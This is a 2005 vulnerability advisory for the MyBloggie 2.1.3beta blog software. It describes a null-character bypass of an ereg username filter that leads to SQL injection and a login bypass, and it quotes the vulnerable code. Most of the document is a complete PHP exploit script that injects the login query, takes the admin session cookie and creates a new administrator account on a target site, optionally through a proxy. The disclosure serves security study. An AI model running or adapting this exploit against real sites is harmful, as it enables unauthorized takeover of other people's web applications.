MyBloggie 2.1.3beta null char + SQL Injection -> Login Bypass

2005.10.02
Credit: rgod
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

MyBloggie 2.1.3beta null char + SQL Injection -> Login Bypass software: site: http://www.mywebland.com/ vulnerability: if magic quotes off -> SQL INJECTION look carefully this code in login.php, line 40-69 ... if (isset($_POST['username'])) { $username=$_POST['username']; } else $username=""; if (isset($_POST['passwd'])) { $passwd = $_POST['passwd']; } else $passwd = ""; // Security precaution - sean 03 sep 2005 [!] if(ereg('[^A-Za-z0-9_]', $username)){ //redirecting the user if the username no alphanumeric to prevent echo "<meta http-equiv="Refresh" content="1;url=".self_url()."/oops.php" />"; exit(); } if( isset( $mode ) ) { if( $mode == "login" ) { $username = trim( $username ); $passwd = md5(trim( $passwd )); if( $username == "" ) message( $lang['Error'] , $lang['Msg_enter_name'] ); if( $passwd == "" ) message($lang['Error'], $lang['Msg_enter_pass'] ); [!!] $result = mysql_query( "SELECT user FROM ".USER_TBL." WHERE user='$username' AND password='$passwd'" ) or error( mysql_error() ); [!!!] if( mysql_num_rows( $result ) != 1 ) { ... the ereg call should check if "username" string is alphanumeric or not, but... what happen if it begins with a null char? eheheheh this a PHP bug, so I should write another advisory about this function... you bypass the check...! poc, run this with you interpreter... <?php if(ereg('[^A-Za-z0-9_]'," ' " )) {echo "[1] hacking attempt!<br>";} #this works if(ereg('[^A-Za-z0-9_]',chr(0x00)." ' " )) {echo "[2] hacking attempt!<br>";} #this not ?> now you can inject an "always true statement" in login query and bypass the third check, poc: as username: [null char]'or'a'='a' LIMIT 1 /* as password: [nothing] if you cannot try it manually, this is my proof of concept exploit, it adds a new administrative account, it works both against Unix and Windows servers, I don't know if this ereg "null char" issue is documented...: <?php # 7.36 30/09/2005 # # # # ---mybloggie_213_xpl.php # # # # myBloggie 2.1.3beta null char + SQL Injection -> login bypass # # # # let's setup a new admin account right now! # # # # # # # # by rgod # # site: http://rgod.altervista.org # # # # make these changes in php.ini if you have troubles # # to launch this script: # # allow_call_time_pass_reference = on # # register_globals = on # # # # usage: customize for your own pleasure, launch this script from Apache, # # fill requested fields, then go! # # # # From WikiPedia:"James "Jamie" Madrox, formerly known as Multiple Man, is a # # fictional character, a mutant superhero in the Marvel Universe and a former# # member of X-Factor. He first appeared in Giant-Size Fantastic Four #4." # # you know? This was my favourite one... Hey, but... wasn't he dead? # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<head><title> myBloggie 2.1.3beta null char / SQL Injection </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type= "text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;} .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-style: italic; } --> </style></head> <body> <p class="Stile6"> myBloggie 2.1.3 beta (possibly prior versions) null char / SQL Injection</p><p class="Stil e6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank"> http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=value& port=value&user=value&pazz=value&proxy=value"><p><input type="text" name="host"> <span class="Stile5">hostname (ex: www.sitename.com ) </span> </p> <p> <input type="text" name="path"><span class="Stile5">path ( ex: /mybloggie/ or just / ) </span></p><p><input type="text" name="port"><span class="Stile5">specify a port other than 80 (default) </span> </p><p><input type="text" name="username"><span class="Stile5">new admin username... </span> </p> <p> <input type="text" name="password"><span class="Stile5">password for new admin account...</span> </p><p><input type="text" name="proxy"><span class="Stile5">send exploit through an HTTP proxy (ip:port) </span> </p> <p> <input type="submit"name="Submit" value="go!"></p></form></td></tr></table></body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td> </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($path<>'') and ($host<>'') and ($username<>'') and ($password<>'')) { $user=str_replace(chr(0x00),"",$user); # <- this is a suggestion for the patch... ;) if(ereg('[^A-Za-z0-9_]', $user)) { echo "<br>only alphanumeric chars in username please...<br>"; die;} if ($port=='') {$port=80;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $sql=urlencode(chr(0x00)."'or'SUNTZU'='SUNTZU' LIMIT 1/*"); //beautiful query, isn't it? ;) $data="username=".$sql."&passwd=nothing&submit=Log+In"; $packet="POST ".$p."login.php?mode=login HTTP/1.1rn"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*rn"; $packet.="Referer: http://".$host.':'.$port.$path."login.phprn"; $packet.="Accept-Language: enrn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Accept-Encoding: gzip, deflatern"; $packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)rn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Keep-Alivern"; $packet.="Cache-Control: no-cachernrn"; $packet.=$data; show($packet); sendpacket($packet); if (eregi("Location: ./admin.php",$html)) {echo '<br>Exploit succeded -> now set a new administrative account...<br>';} else {echo '<br>Exploit failed...<br>'; die;} $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $cookie=$temp2[0]."path=/"; echo'<br>cookie: -> '.htmlentities($cookie).'<br><br>'; $data="user=".urlencode($username)."&password=".urlencode($password)."&r epassword=".urlencode($password)."&level=1&submit=Submit"; $packet="POST ".$p."admin.php?mode=adduser HTTP/1.1rn"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*rn"; $packet.="Referer: http://".$host.':'.$port.$path."admin.php?mode=adduserrn"; $packet.="Accept-Language: itrn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Accept-Encoding: gzip, deflatern"; $packet.="User-Agent: Opera/8.50 (Windows NT 5.1; U; en)rn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Keep-Alivern"; $packet.="Cache-Control: no-cachern"; $packet.="Cookie: ".$cookie."rnrn"; $packet.=$data; show($packet); sendpacket($packet); echo '<br>Now login as admin, user: '.htmlentities($username).' pass: '.htmlentities($password); } else { echo '<br>Fill requested fields, optionally specify a proxy...<br><br>';} ?> rgod site: http://rgod.altervista.org mail: retrogod (at) aliceposta (dot) it [email concealed] original advisory: http://rgod.altervista.org/mybloggie213b.html


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